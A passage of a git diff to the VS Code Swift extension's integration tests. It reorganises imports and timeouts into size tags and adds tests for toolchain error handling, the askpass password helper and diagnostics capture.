+ ); + swiftTask = createSwiftTask( + ["build"], + "swift build", + { + cwd: testAssetUri("defaultPackage"), + scope: folderContext.workspaceFolder, + }, + folderContext.toolchain + ); + swiftTask.source = "Workspace"; + return await updateSettings({ + "swift.backgroundCompilation": { + enabled: true, + useDefaultTask: true, + }, }); - } + }, }); - }); - const uri = testAssetUri("defaultPackage/Sources/PackageExe/main.swift"); - const doc = await vscode.workspace.openTextDocument(uri.fsPath); - await vscode.window.showTextDocument(doc); - await vscode.workspace.save(uri); + setup(() => { + tasksMock.fetchTasks.withArgs().resolves([nonSwiftTask, swiftTask, buildAllTask]); + backgroundConfiguration = new BackgroundCompilation(folderContext); + }); - await taskPromise; - }).timeout(180000); + teardown(() => { + backgroundConfiguration.dispose(); + }); + + test("swift default task", async () => { + swiftTask.group = { id: "build", isDefault: true }; + expect(await backgroundConfiguration.getTask()).to.equal(swiftTask); + }); + + test("non-swift default task", async () => { + nonSwiftTask.group = { id: "build", isDefault: true }; + expect(await backgroundConfiguration.getTask()).to.equal(nonSwiftTask); + }); + + test("don't use default task", async () => { + swiftTask.group = { id: "build", isDefault: true }; + await vscode.workspace.getConfiguration("swift").update("backgroundCompilation", { + enabled: true, + useDefaultTask: false, + }); + expect(await backgroundConfiguration.getTask()).to.equal(buildAllTask); + }); + }); + }); }); diff --git a/test/integration-tests/DiagnosticsManager.test.ts b/test/integration-tests/DiagnosticsManager.test.ts index e3ba5961e..fc541f8c0 100644 --- a/test/integration-tests/DiagnosticsManager.test.ts +++ b/test/integration-tests/DiagnosticsManager.test.ts @@ -11,28 +11,30 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; +import { expect } from "chai"; import * as vscode from "vscode"; -import { SwiftToolchain } from "../../src/toolchain/toolchain"; + +import { DiagnosticsManager } from "@src/DiagnosticsManager"; +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { DiagnosticStyle } from "@src/configuration"; +import { createBuildAllTask, resetBuildAllTaskCache } from "@src/tasks/SwiftTaskProvider"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { testAssetUri, testSwiftTask } from "../fixtures"; +import { tag } from "../tags"; import { executeTaskAndWaitForResult, waitForNoRunningTasks, waitForStartTaskProcess, } from "../utilities/tasks"; -import { WorkspaceContext } from "../../src/WorkspaceContext"; -import { testAssetUri, testSwiftTask } from "../fixtures"; -import { createBuildAllTask, resetBuildAllTaskCache } from "../../src/tasks/SwiftTaskProvider"; -import { DiagnosticsManager } from "../../src/DiagnosticsManager"; -import { FolderContext } from "../../src/FolderContext"; -import { Version } from "../../src/utilities/version"; import { activateExtensionForSuite, folderInRootWorkspace, updateSettings, } from "./utilities/testutilities"; -import { DiagnosticStyle } from "../../src/configuration"; -import { expect } from "chai"; const isEqual = (d1: vscode.Diagnostic, d2: vscode.Diagnostic) => { return ( @@ -66,9 +68,7 @@ function assertWithoutDiagnostic(uri: vscode.Uri, expected: vscode.Diagnostic) { ); } -suite("DiagnosticsManager Test Suite", function () { - this.timeout(60 * 1000 * 5); // Allow up to 5 minutes for build - +tag("medium").suite("DiagnosticsManager Test Suite", function () { let workspaceContext: WorkspaceContext; let folderContext: FolderContext; let cFolderContext: FolderContext; diff --git a/test/integration-tests/ExtensionActivation.test.ts b/test/integration-tests/ExtensionActivation.test.ts index 755a396ec..14ccfc21f 100644 --- a/test/integration-tests/ExtensionActivation.test.ts +++ b/test/integration-tests/ExtensionActivation.test.ts @@ -11,21 +11,23 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; import { afterEach } from "mocha"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; + +import { testAssetUri } from "../fixtures"; +import { tag } from "../tags"; +import { assertContains } from "./testexplorer/utilities"; import { activateExtension, activateExtensionForSuite, activateExtensionForTest, deactivateExtension, } from "./utilities/testutilities"; -import { WorkspaceContext } from "../../src/WorkspaceContext"; -import { testAssetUri } from "../fixtures"; -import { assertContains } from "./testexplorer/utilities"; -suite("Extension Activation/Deactivation Tests", () => { +tag("medium").suite("Extension Activation/Deactivation Tests", () => { suite("Extension Activation", () => { afterEach(async () => { await deactivateExtension(); @@ -102,8 +104,6 @@ suite("Extension Activation/Deactivation Tests", () => { }); suite("Activates for cmake projects", function () { - this.timeout(60000); - let workspaceContext: WorkspaceContext; activateExtensionForTest({ diff --git a/test/integration-tests/FolderContext.test.ts b/test/integration-tests/FolderContext.test.ts new file mode 100644 index 000000000..c1e624486 --- /dev/null +++ b/test/integration-tests/FolderContext.test.ts @@ -0,0 +1,178 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { afterEach } from "mocha"; +import { restore, stub } from "sinon"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import * as toolchain from "@src/ui/ToolchainSelection"; + +import { MockedFunction, mockGlobalValue } from "../MockUtils"; +import { testAssetUri } from "../fixtures"; +import { activateExtensionForSuite, getRootWorkspaceFolder } from "./utilities/testutilities"; + +suite("FolderContext Error Handling Test Suite", () => { + let workspaceContext: WorkspaceContext; + let folderContext: FolderContext | undefined; + let swiftToolchainCreateStub: MockedFunction; + const showToolchainError = mockGlobalValue(toolchain, "showToolchainError"); + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + this.timeout(60000); + }, + testAssets: ["defaultPackage"], + }); + + afterEach(() => { + folderContext?.dispose(); + restore(); + }); + + test("handles SwiftToolchain.create failure gracefully with user dismissal", async () => { + const mockError = new Error("Mock toolchain failure"); + swiftToolchainCreateStub = stub(SwiftToolchain, "create").throws(mockError); + + // Mock showToolchainError to return false (user dismissed dialog) + const showToolchainErrorStub = stub().resolves(false); + showToolchainError.setValue(showToolchainErrorStub); + + const workspaceFolder = getRootWorkspaceFolder(); + const testFolder = testAssetUri("package2"); + + folderContext = await FolderContext.create(testFolder, workspaceFolder, workspaceContext); + + assert.ok(folderContext, "FolderContext should be created despite toolchain failure"); + assert.strictEqual( + folderContext.toolchain, + workspaceContext.globalToolchain, + "Should fallback to global toolchain when user dismisses dialog" + ); + + const errorLogs = workspaceContext.logger.logs.filter( + log => + log.includes("Failed to discover Swift toolchain") && + log.includes("package2") && + log.includes("Mock toolchain failure") + ); + assert.ok(errorLogs.length > 0, "Should log error message with folder context"); + + assert.ok( + swiftToolchainCreateStub.calledWith( + workspaceContext.extensionContext.extensionPath, + testFolder + ), + "Should attempt to create toolchain for specific folder" + ); + assert.strictEqual( + swiftToolchainCreateStub.callCount, + 1, + "Should only call SwiftToolchain.create once when user dismisses" + ); + }); + + test("retries toolchain creation when user makes selection and succeeds", async () => { + const workspaceFolder = getRootWorkspaceFolder(); + const testFolder = testAssetUri("package2"); + + // Arrange: Mock SwiftToolchain.create to fail first time, succeed second time + swiftToolchainCreateStub = stub(SwiftToolchain, "create"); + swiftToolchainCreateStub.onFirstCall().throws(new Error("Initial toolchain failure")); + swiftToolchainCreateStub + .onSecondCall() + .returns(Promise.resolve(workspaceContext.globalToolchain)); + + // Mock showToolchainError to return true (user made selection) + const showToolchainErrorStub = stub().resolves(true); + showToolchainError.setValue(showToolchainErrorStub); + + folderContext = await FolderContext.create(testFolder, workspaceFolder, workspaceContext); + + // Assert: FolderContext should be created successfully + assert.ok(folderContext, "FolderContext should be created after retry"); + assert.strictEqual( + folderContext.toolchain, + workspaceContext.globalToolchain, + "Should use successfully created toolchain after retry" + ); + + // Assert: SwiftToolchain.create should be called twice (initial + retry) + assert.strictEqual( + swiftToolchainCreateStub.callCount, + 2, + "Should retry toolchain creation after user selection" + ); + + // Assert: Should log both failure and success + const failureLogs = workspaceContext.logger.logs.filter(log => + log.includes("Failed to discover Swift toolchain for package2") + ); + const successLogs = workspaceContext.logger.logs.filter(log => + log.includes("Successfully created toolchain for package2 after user selection") + ); + + assert.ok(failureLogs.length > 0, "Should log initial failure"); + assert.ok(successLogs.length > 0, "Should log success after retry"); + }); + + test("retries toolchain creation when user makes selection but still fails", async () => { + const workspaceFolder = getRootWorkspaceFolder(); + const testFolder = testAssetUri("package2"); + + const initialError = new Error("Initial toolchain failure"); + const retryError = new Error("Retry toolchain failure"); + swiftToolchainCreateStub = stub(SwiftToolchain, "create"); + swiftToolchainCreateStub.onFirstCall().throws(initialError); + swiftToolchainCreateStub.onSecondCall().throws(retryError); + + // Mock showToolchainError to return true (user made selection) + const showToolchainErrorStub = stub().resolves(true); + showToolchainError.setValue(showToolchainErrorStub); + + folderContext = await FolderContext.create(testFolder, workspaceFolder, workspaceContext); + + assert.ok( + folderContext, + "FolderContext should be created with fallback after retry failure" + ); + assert.strictEqual( + folderContext.toolchain, + workspaceContext.globalToolchain, + "Should fallback to global toolchain when retry also fails" + ); + + assert.strictEqual( + swiftToolchainCreateStub.callCount, + 2, + "Should retry toolchain creation after user selection" + ); + + const initialFailureLogs = workspaceContext.logger.logs.filter(log => + log.includes( + "Failed to discover Swift toolchain for package2: Error: Initial toolchain failure" + ) + ); + const retryFailureLogs = workspaceContext.logger.logs.filter(log => + log.includes( + "Failed to create toolchain for package2 even after user selection: Error: Retry toolchain failure" + ) + ); + + assert.ok(initialFailureLogs.length > 0, "Should log initial failure"); + assert.ok(retryFailureLogs.length > 0, "Should log retry failure"); + }); +}); diff --git a/test/integration-tests/SwiftPackage.test.ts b/test/integration-tests/SwiftPackage.test.ts index 30bfefa43..4560e4cc0 100644 --- a/test/integration-tests/SwiftPackage.test.ts +++ b/test/integration-tests/SwiftPackage.test.ts @@ -11,19 +11,20 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; + +import { SwiftPackage } from "@src/SwiftPackage"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + import { testAssetUri } from "../fixtures"; -import { SwiftPackage } from "../../src/SwiftPackage"; -import { SwiftToolchain } from "../../src/toolchain/toolchain"; -import { Version } from "../../src/utilities/version"; +import { tag } from "../tags"; -suite("SwiftPackage Test Suite", function () { - this.timeout(5 * 60 * 1000); // 5 minute timeout +tag("medium").suite("SwiftPackage Test Suite", function () { let toolchain: SwiftToolchain; setup(async () => { - toolchain = await SwiftToolchain.create(); + toolchain = await SwiftToolchain.create("/path/to/extension"); }); test("No package", async () => { diff --git a/test/integration-tests/SwiftSnippet.test.ts b/test/integration-tests/SwiftSnippet.test.ts index e1f349e29..d644126f8 100644 --- a/test/integration-tests/SwiftSnippet.test.ts +++ b/test/integration-tests/SwiftSnippet.test.ts @@ -11,28 +11,29 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import { expect } from "chai"; +import { realpathSync } from "fs"; import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { Version } from "@src/utilities/version"; + import { testAssetUri } from "../fixtures"; -import { expect } from "chai"; +import { tag } from "../tags"; +import { closeAllEditors } from "../utilities/commands"; import { continueSession, waitForDebugAdapterRequest, waitUntilDebugSessionTerminates, } from "../utilities/debug"; -import { Version } from "../../src/utilities/version"; import { activateExtensionForSuite, folderInRootWorkspace, updateSettings, } from "./utilities/testutilities"; -import { WorkspaceContext } from "../../src/WorkspaceContext"; -import { closeAllEditors } from "../utilities/commands"; -import { Commands } from "../../src/commands"; - -suite("SwiftSnippet Test Suite @slow", function () { - this.timeout(180000); +tag("large").suite("SwiftSnippet Test Suite", function () { const uri = testAssetUri("defaultPackage/Snippets/hello.swift"); const breakpoints = [ new vscode.SourceBreakpoint(new vscode.Location(uri, new vscode.Position(2, 0))), @@ -78,9 +79,12 @@ suite("SwiftSnippet Test Suite @slow", function () { expect(succeeded).to.be.true; const session = await sessionPromise; expect(vscode.Uri.file(session.configuration.program).fsPath).to.equal( - testAssetUri( - "defaultPackage/.build/debug/hello" + (process.platform === "win32" ? ".exe" : "") - ).fsPath + realpathSync( + testAssetUri( + "defaultPackage/.build/debug/hello" + + (process.platform === "win32" ? ".exe" : "") + ).fsPath + ) ); expect(session.configuration).to.have.property("noDebug", true); }); @@ -115,9 +119,12 @@ suite("SwiftSnippet Test Suite @slow", function () { const session = await sessionPromise; expect(vscode.Uri.file(session.configuration.program).fsPath).to.equal( - testAssetUri( - "defaultPackage/.build/debug/hello" + (process.platform === "win32" ? ".exe" : "") - ).fsPath + realpathSync( + testAssetUri( + "defaultPackage/.build/debug/hello" + + (process.platform === "win32" ? ".exe" : "") + ).fsPath + ) ); expect(session.configuration).to.not.have.property("noDebug"); }); diff --git a/test/integration-tests/WorkspaceContext.test.ts b/test/integration-tests/WorkspaceContext.test.ts index c665b8de7..6dfe8dc6d 100644 --- a/test/integration-tests/WorkspaceContext.test.ts +++ b/test/integration-tests/WorkspaceContext.test.ts @@ -11,23 +11,25 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; import { afterEach } from "mocha"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { FolderOperation, WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; +import { resolveScope } from "@src/utilities/tasks"; +import { Version } from "@src/utilities/version"; + import { testAssetUri } from "../fixtures"; -import { FolderOperation, WorkspaceContext } from "../../src/WorkspaceContext"; -import { createBuildAllTask } from "../../src/tasks/SwiftTaskProvider"; -import { Version } from "../../src/utilities/version"; -import { SwiftExecution } from "../../src/tasks/SwiftExecution"; +import { tag } from "../tags"; +import { assertContains } from "./testexplorer/utilities"; import { activateExtensionForSuite, getRootWorkspaceFolder, updateSettings, } from "./utilities/testutilities"; -import { FolderContext } from "../../src/FolderContext"; -import { assertContains } from "./testexplorer/utilities"; -import { resolveScope } from "../../src/utilities/tasks"; function assertContainsArg(execution: SwiftExecution, arg: string) { assert(execution?.args.find(a => a === arg)); @@ -40,7 +42,7 @@ function assertNotContainsArg(execution: SwiftExecution, arg: string) { ); } -suite("WorkspaceContext Test Suite", () => { +tag("medium").suite("WorkspaceContext Test Suite", () => { let workspaceContext: WorkspaceContext; const packageFolder: vscode.Uri = testAssetUri("defaultPackage"); @@ -88,7 +90,7 @@ suite("WorkspaceContext Test Suite", () => { } finally { observer?.dispose(); } - }).timeout(60000 * 2); + }); }); suite("Tasks", function () { @@ -106,9 +108,6 @@ suite("WorkspaceContext Test Suite", () => { } }); - // Was hitting a timeout in suiteSetup during CI build once in a while - this.timeout(15000); - test("Default Task values", async () => { const folder = workspaceContext.folders.find( f => f.folder.fsPath === packageFolder.fsPath @@ -190,32 +189,16 @@ suite("WorkspaceContext Test Suite", () => { const execution = buildAllTask.execution as SwiftExecution; assertContainsArg(execution, "--replace-scm-with-registry"); }); - - test("Swift Path", async () => { - /* Temporarily disabled (need swift path to update immediately for this to work) - const folder = workspaceContext.folders.find( - f => f.folder.fsPath === packageFolder.fsPath - ); - assert(folder); - await swiftConfig.update("path", "/usr/bin/swift"); - const buildAllTask = createBuildAllTask(folder); - const execution = buildAllTask.execution as SwiftExecution; - assert.strictEqual(execution?.command, "/usr/bin/swift"); - await swiftConfig.update("path", "");*/ - }); }); suite("Toolchain", function () { - // Increase the timeout as this takes several seconds longer for the codeWorkspaceTests variant - this.timeout(60000); - activateExtensionForSuite({ async setup(ctx) { workspaceContext = ctx; }, }); - test("get project templates", async () => { + tag("small").test("get project templates", async () => { // This is only supported in swift versions >=5.8.0 const swiftVersion = workspaceContext.globalToolchain.swiftVersion; if (swiftVersion.isLessThan(new Version(5, 8, 0))) { @@ -248,6 +231,6 @@ suite("WorkspaceContext Test Suite", () => { name: "Build Tool Plugin", description: "A package that vends a build tool plugin.", }); - }).timeout(1000); + }); }); -}).timeout(15000); +}); diff --git a/test/integration-tests/askpass/askpass.test.ts b/test/integration-tests/askpass/askpass.test.ts new file mode 100644 index 000000000..d1c392cd5 --- /dev/null +++ b/test/integration-tests/askpass/askpass.test.ts @@ -0,0 +1,112 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { withAskpassServer } from "@src/askpass/askpass-server"; +import { execFile } from "@src/utilities/utilities"; + +import { mockGlobalObject } from "../../MockUtils"; +import { assetPath, distPath } from "../../fixtures"; + +suite("Askpass Test Suite", () => { + const mockedWindow = mockGlobalObject(vscode, "window"); + const askpassMain = distPath("src/askpass/askpass-main.js"); + const askpassScript = assetPath("swift_askpass.sh"); + + setup(function () { + // The shell script we use won't work on Windows + if (!["darwin", "linux"].includes(process.platform)) { + this.skip(); + } + }); + + test("should prompt the user to enter their password", async () => { + mockedWindow.showInputBox.resolves("super secret password"); + + const output = await withAskpassServer(async (nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }); + + expect(output.stdout.trim()).to.equal("super secret password"); + }); + + test("should allow the user to cancel the password input", async () => { + mockedWindow.showInputBox.resolves(undefined); + + const askpassPromise = withAskpassServer(async (nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }); + + await expect(askpassPromise).to.eventually.be.rejected; + }); + + test("should reject requests with an invalid nonce", async () => { + mockedWindow.showInputBox.resolves("super secret password"); + + const askpassPromise = withAskpassServer(async (_nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + VSCODE_SWIFT_ASKPASS_NONCE: "invalid nonce", + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }); + + await expect(askpassPromise).to.eventually.be.rejected; + }); + + test("should be able to control the prompt title", async () => { + mockedWindow.showInputBox.resolves("super secret password"); + + await withAskpassServer( + async (nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }, + { title: "An Amazing Title" } + ); + + expect(mockedWindow.showInputBox).to.have.been.calledWith( + match.has("title", "An Amazing Title") + ); + }); +}); diff --git a/test/integration-tests/commands/build.test.ts b/test/integration-tests/commands/build.test.ts index 6698aa797..0c25958f1 100644 --- a/test/integration-tests/commands/build.test.ts +++ b/test/integration-tests/commands/build.test.ts @@ -11,23 +11,23 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; +import { expect } from "chai"; import * as fs from "fs/promises"; import * as path from "path"; -import { expect } from "chai"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { Version } from "@src/utilities/version"; + import { testAssetUri } from "../../fixtures"; -import { FolderContext } from "../../../src/FolderContext"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { Commands } from "../../../src/commands"; +import { tag } from "../../tags"; import { continueSession, waitForDebugAdapterRequest } from "../../utilities/debug"; +import { withTaskWatcher } from "../../utilities/tasks"; import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; -import { Version } from "../../../src/utilities/version"; - -suite("Build Commands @slow", function () { - // Default timeout is a bit too short, give it a little bit more time - this.timeout(3 * 60 * 1000); +tag("large").suite("Build Commands", function () { let folderContext: FolderContext; let workspaceContext: WorkspaceContext; const uri = testAssetUri("defaultPackage/Sources/PackageExe/main.swift"); @@ -44,7 +44,7 @@ suite("Build Commands @slow", function () { ) { this.skip(); } - // A breakpoint will have not effect on the Run command. + // A breakpoint will have no effect on the Run command. vscode.debug.addBreakpoints(breakpoints); workspaceContext = ctx; @@ -59,34 +59,40 @@ suite("Build Commands @slow", function () { }); test("Swift: Run Build", async () => { - const result = await vscode.commands.executeCommand(Commands.RUN, "PackageExe"); - expect(result).to.be.true; + await withTaskWatcher(async taskWatcher => { + const result = await vscode.commands.executeCommand(Commands.RUN, "PackageExe"); + expect(result).to.be.true; + taskWatcher.assertTaskCompletedByName("Build Debug PackageExe (defaultPackage)"); + }); }); - test("Swift: Debug Build", async () => { - // Promise used to indicate we hit the break point. - // NB: "stopped" is the exact command when debuggee has stopped due to break point, - // but "stackTrace" is the deterministic sync point we will use to make sure we can execute continue - const bpPromise = waitForDebugAdapterRequest( - "Debug PackageExe (defaultPackage)" + - (vscode.workspace.workspaceFile ? " (workspace)" : ""), - workspaceContext.globalToolchain.swiftVersion, - "stackTrace" - ); + test("Swift: Debug Build", async function () { + // This is failing in CI only in Linux 5.10 by crashing VS Code with the error + // `CodeWindow: renderer process gone (reason: crashed, code: 133)` + if ( + folderContext.swiftVersion.isGreaterThanOrEqual(new Version(5, 10, 0)) && + folderContext.swiftVersion.isLessThan(new Version(6, 0, 0)) + ) { + this.skip(); + } - const resultPromise: Thenable = vscode.commands.executeCommand( - Commands.DEBUG, - "PackageExe" - ); + await withTaskWatcher(async taskWatcher => { + const resultPromise = vscode.commands.executeCommand(Commands.DEBUG, "PackageExe"); - await bpPromise; - let succeeded = false; - void resultPromise.then(s => (succeeded = s)); - while (!succeeded) { + // Wait until we hit the breakpoint. + // NB: "stopped" is the exact command when debuggee has stopped due to break point, + // but "stackTrace" is the deterministic sync point we will use to make sure we can execute continue + await waitForDebugAdapterRequest( + "Debug PackageExe (defaultPackage)" + + (vscode.workspace.workspaceFile ? " (workspace)" : ""), + workspaceContext.globalToolchain.swiftVersion, + "stackTrace" + ); await continueSession(); - await new Promise(r => setTimeout(r, 500)); - } - await expect(resultPromise).to.eventually.be.true; + + await expect(resultPromise).to.eventually.be.true; + taskWatcher.assertTaskCompletedByName("Build Debug PackageExe (defaultPackage)"); + }); }); test("Swift: Clean Build", async () => { @@ -101,7 +107,7 @@ suite("Build Commands @slow", function () { const afterItemCount = (await fs.readdir(buildPath)).length; // .build folder is going to be filled with built artifacts after Commands.RUN command - // After executing the clean command the build directory is guranteed to have less entry. + // After executing the clean command the build directory is guaranteed to have less entries. expect(afterItemCount).to.be.lessThan(beforeItemCount); }); }); diff --git a/test/integration-tests/commands/captureDiagnostics.test.ts b/test/integration-tests/commands/captureDiagnostics.test.ts new file mode 100644 index 000000000..dbc1e7408 --- /dev/null +++ b/test/integration-tests/commands/captureDiagnostics.test.ts @@ -0,0 +1,205 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as decompress from "decompress"; +import { mkdir, rm } from "fs/promises"; +import * as os from "os"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { captureDiagnostics } from "@src/commands/captureDiagnostics"; +import { Version } from "@src/utilities/version"; + +import { mockGlobalObject } from "../../MockUtils"; +import { tag } from "../../tags"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; + +tag("medium").suite("captureDiagnostics Test Suite", () => { + let workspaceContext: WorkspaceContext; + const mockWindow = mockGlobalObject(vscode, "window"); + + suite("Minimal", () => { + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + testAssets: ["defaultPackage"], + }); + + setup(() => { + mockWindow.showInformationMessage.resolves("Capture Minimal Diagnostics" as any); + }); + + test("Should capture dianostics to a zip file", async () => { + const zipPath = await captureDiagnostics(workspaceContext); + expect(zipPath).to.not.be.undefined; + }); + + test("Should validate a single folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + + validate( + files.map(file => file.path), + ["swift-vscode-extension.log", "defaultPackage-[a-z0-9]+-settings.txt"] + ); + + await rm(folder, { recursive: true, force: true }); + }); + + suite("Multiple folder project", () => { + setup(async () => { + await folderInRootWorkspace("dependencies", workspaceContext); + }); + + test("Should validate a multiple folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + validate( + files.map(file => file.path), + [ + "swift-vscode-extension.log", + "defaultPackage/", + "defaultPackage/defaultPackage-[a-z0-9]+-settings.txt", + "dependencies/", + "dependencies/dependencies-[a-z0-9]+-settings.txt", + ] + ); + await rm(folder, { recursive: true, force: true }); + }); + }); + }); + + tag("large").suite("Full", function () { + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + testAssets: ["defaultPackage"], + }); + + setup(async () => { + mockWindow.showInformationMessage.resolves("Capture Full Diagnostics" as any); + resetSettings = await updateSettings({ + "lldb-dap.logFolder": "logs", + }); + }); + + let resetSettings: (() => Promise) | undefined; + teardown(async () => { + if (resetSettings) { + await resetSettings(); + } + }); + + test("Should validate a single folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext, false); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + + const post60Logs = workspaceContext.globalToolchainSwiftVersion.isGreaterThanOrEqual( + new Version(6, 0, 0) + ) + ? ["sourcekit-lsp/", "lldb-dap-session-123456789.log", "LLDB-DAP.log"] + : []; + + validate( + files.map(file => file.path), + [ + "swift-vscode-extension.log", + "defaultPackage-[a-z0-9]+-settings.txt", + ...post60Logs, + ], + false // Sometime are diagnostics, sometimes not but not point of this test + ); + + await rm(folder, { recursive: true, force: true }); + }); + + suite("Multiple folder project", () => { + setup(async () => { + await folderInRootWorkspace("dependencies", workspaceContext); + }); + + test("Should validate a multiple folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext, false); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + + const post60Logs = + workspaceContext.globalToolchainSwiftVersion.isGreaterThanOrEqual( + new Version(6, 0, 0) + ) + ? [ + "dependencies/sourcekit-lsp/", + "LLDB-DAP.log", + "lldb-dap-session-123456789.log", + "defaultPackage/sourcekit-lsp/", + ] + : []; + + validate( + files.map(file => file.path), + [ + "swift-vscode-extension.log", + "defaultPackage/", + "defaultPackage/defaultPackage-[a-z0-9]+-settings.txt", + "dependencies/", + "dependencies/dependencies-[a-z0-9]+-settings.txt", + ...post60Logs, + ], + false // Sometime are diagnostics, sometimes not but not point of this test + ); + await rm(folder, { recursive: true, force: true }); + }); + }); + }); + + async function decompressZip( + zipPath: string + ): Promise<{ folder: string; files: decompress.File[] }> { + const tempDir = path.join( + os.tmpdir(), + `vscode-swift-test-${Math.random().toString(36).substring(7)}` + ); + await mkdir(tempDir, { recursive: true }); + return { folder: tempDir, files: await decompress(zipPath as string, tempDir) }; + } + + function validate(paths: string[], patterns: string[], matchCount: boolean = true): void { + if (matchCount) { + expect(paths.length).to.equal( + patterns.length, + `Expected ${patterns.length} files: ${JSON.stringify(patterns)}\n\n...but found ${paths.length}: ${JSON.stringify(paths)}` + ); + } + const regexes = patterns.map(pattern => new RegExp(`^${pattern}$`)); + for (const regex of regexes) { + const matched = paths.some(path => regex.test(path)); + expect(matched, `No path matches the pattern: ${regex}, got paths: ${paths}`).to.be + .true; + } + } +}); diff --git a/test/integration-tests/commands/dependency.test.ts b/test/integration-tests/commands/dependency.test.ts index 303e41115..b2067506b 100644 --- a/test/integration-tests/commands/dependency.test.ts +++ b/test/integration-tests/commands/dependency.test.ts @@ -11,26 +11,27 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; +import * as fs from "fs/promises"; +import { beforeEach } from "mocha"; +import * as path from "path"; import * as vscode from "vscode"; -import { PackageNode, ProjectPanelProvider } from "../../../src/ui/ProjectPanelProvider"; + +import { FolderContext } from "@src/FolderContext"; +import { ResolvedDependency } from "@src/SwiftPackage"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; + import { testAssetUri } from "../../fixtures"; -import { FolderContext } from "../../../src/FolderContext"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { Commands } from "../../../src/commands"; -import { activateExtensionForSuite, findWorkspaceFolder } from 